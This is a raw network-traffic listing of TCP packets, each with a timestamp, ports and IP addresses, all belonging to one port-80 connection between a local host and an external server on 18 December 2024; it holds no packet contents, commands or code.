Dec 18, 2024 11:47:14.509140968 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.509202003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.509255886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.510988951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.511028051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.511049032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.511082888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.610620022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.610681057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.610726118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.610749006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.611517906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.611572981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.611577034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.611619949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.613349915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.613447905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.615744114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.615803003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.615830898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.615858078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.616600037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.616648912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.616686106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.616724014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.618349075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.618396997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.618443012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.618486881 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.620043039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.620057106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.620100021 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.621701956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.621753931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.621793985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.621835947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.623344898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.623394966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.623418093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.623461008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.624929905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.624979019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.625000954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.625036001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.626517057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.626566887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.626632929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.626672983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.628076077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.628135920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.628171921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.628215075 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.629666090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.629713058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.629750967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.629786015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.631170988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.631184101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.631222963 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.632632971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.632683992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.632721901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.632765055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.634188890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.634247065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.634377956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.634417057 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.635678053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.635785103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.635804892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.635823011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.637079000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.637135029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.637209892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.637250900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.638474941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.638534069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.638572931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.638612032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.639955044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.640017033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.640094042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.640144110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.641458988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.641472101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.641509056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.643156052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.643167973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.643214941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.644406080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.644462109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.644601107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.644644022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.645881891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.645901918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.645960093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.647238970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.647280931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.647299051 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.647326946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.648772001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.648832083 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.648868084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.648905039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.650216103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.650233984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.650254965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.650295019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.651737928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.651782990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.651807070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.651840925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.653085947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.653132915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.653204918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.653244972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.654552937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.654683113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.654709101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.654742002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.656033039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.656096935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.656128883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.656167030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.657481909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.657517910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.657541037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.657576084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.659003019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.659019947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.659044027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.659080029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.660371065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.660417080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.660475016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.660509109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.661849022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.661900043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.662015915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.662060022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.663367033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.663383007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.663444996 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.663465023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.664764881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.664814949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.664814949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.664860010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.666282892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.666363001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.666416883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.666461945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.667697906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.667752981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.667821884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.667862892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.669147015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.669210911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.669249058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.669287920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.670674086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.670722961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.670730114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.670767069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.672094107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.672116041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.672135115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.672173977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.673504114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.673552990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.673608065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.674097061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.674968958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.675029039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.675036907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.675076962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.676533937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.676548958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.676580906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.676604033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.677911043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.677969933 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.678435087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.678487062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.679380894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.679424047 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.679491043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.679528952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.680829048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.680896044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.680937052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.680989027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.682285070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.682344913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.682378054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.682424068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.683815002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.683871031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.683938980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.683984995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.685275078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.685287952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.685338020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.686650038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.686705112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.802387953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.802465916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.802484989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.802514076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.803133965 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.803185940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.803209066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.803229094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.804449081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.804516077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.804539919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.804575920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.805563927 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.805624008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.806983948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.807029963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.807053089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.807082891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.807534933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.807586908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.807754040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.807800055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.808734894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.808779955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.808813095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.808856964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.810264111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.810321093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.810331106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.810374022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.811332941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.811383009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.811467886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.811515093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.812350988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.812407017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.812437057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.812475920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.813572884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.813608885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.813627005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.813659906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.814827919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.814856052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.814877987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.814917088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.816000938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.816044092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.816091061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.816134930 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.817240953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.817295074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.817327976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.817364931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.818362951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.818428993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.818435907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.818486929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.819597006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.819645882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.819664001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.819700956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.820745945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.820806980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.820874929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.820924997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.822046041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.822114944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.822195053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.822241068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.823139906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.823200941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.823251009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.823293924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.824457884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.824470997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.824543953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.825699091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.825711012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.825759888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.826941013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.826997995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.827053070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.827102900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.828048944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.828104019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.828192949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.828236103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.829212904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.829253912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.829277039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.829319000 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.830833912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.830878973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.830894947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.830918074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.832228899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.832293034 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.832298994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.832331896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.833195925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.833241940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.833262920 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.833307981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.834100962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.834144115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.834191084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.834230900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.835241079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.835287094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.835335970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.835377932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.836644888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.836692095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.836827040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.836874962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.838399887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.838453054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.838463068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.838505030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.839536905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.839550018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.839591980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.839628935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.840351105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.840408087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.840472937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.840513945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.841305971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.841362000 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.841391087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.841439962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.842566967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.842632055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.842643976 CET	80	49806	31.41.244.11	192.168.2.6
